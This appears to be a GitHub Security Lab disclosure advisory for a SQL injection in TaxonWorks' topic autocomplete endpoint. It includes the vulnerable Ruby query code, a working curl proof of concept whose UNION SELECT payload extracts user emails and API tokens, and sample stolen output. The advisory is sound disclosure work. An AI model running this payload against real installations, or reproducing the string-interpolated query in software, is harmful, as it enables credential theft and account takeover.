Coordinated Disclosure Timeline

Summary

A SQL injection vulnerability was found in TaxonWorks that allowed authenticated attackers to extract arbitrary data from the TaxonWorks database (including the user table).

Product

TaxonWorks

Tested Version

v0.33.1

Details

SQL injection (GHSL-2023-140)

The autocomplete function of TaxonWorks’ TopicController was susceptible to a SQL injection vulnerability. The user-controlled term parameter was passed into a string that is used to construct a WHERE clause of a SQL query:

term = "#{params[:term]}%"
where_string = "name LIKE '#{term}' OR name ILIKE '%#{term}' OR name = '#{term}' OR definition ILIKE '%#{term}'"
ControlledVocabularyTerm.where(where_string).where(project_id: params[:project_id], type: 'Topic')

The user-controlled params are passed through from the TopicsController:

def lookup_topic
  @topics = Topic.find_for_autocomplete(params.merge(project_id: sessions_current_project_id))

This vulnerability was found using a CodeQL query which identifies SQL queries built from user-controlled sources.

Proof of concept

The SQL injection vulnerability can be exploited using this SQL injection payload:

curl -i "<host>/topics/lookup_topic?term=%27%29%20OR%20%241%21%3D0%20OR%20%242%21%3D%27%27%20UNION%20SELECT%20id%2C%27Topic%27%2Cemail%2Capi%5Faccess%5Ftoken%2Cnull%2Cnull%2C0%2C0%2C0%2C%27%27%2C%27%27%2C%27%27%2C0%20FROM%20users%20%2D%2D%20" -b $'remember_token=<remember-token>; _TaxonWorks_session=<session-cookie>'

(Hint: replace the remember-token header and the session-cookie cookie with the values of an authenticated user.)

The decoded SQL injection string looks like this:

') OR $1!=0 OR $2!='' UNION SELECT id,'Topic',email,api_access_token,null,null,0,0,0,'','','',0 FROM users --

Notes regarding the exploit:

Using this exploit the exfiltrated data might look like this:

[
    {
        "label": "test-label",
        "object_id": 1,
        "definition": "test-def"
    },
    {
        "label": "user@example.com",
        "object_id": 2,
        "definition": null
    },
    {
        "label": "admin@example.com",
        "object_id": 1,
        "definition": "FDo0TfsnbBER4tNRUQ00bg"
    }
]

The first entry in the JSON array is an actual topic we created for testing. The next two entries are the user registered in the system (label is mapped to email, object_id is mapped to user id, and definition is mapped to api_access_token). E.g. this API access token allows an attacker to use the TaxonWorks API as an authenticated API user.

Impact

This issue may lead to Information Disclosure.

CVE

Credit

This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-140 in any communication regarding this issue.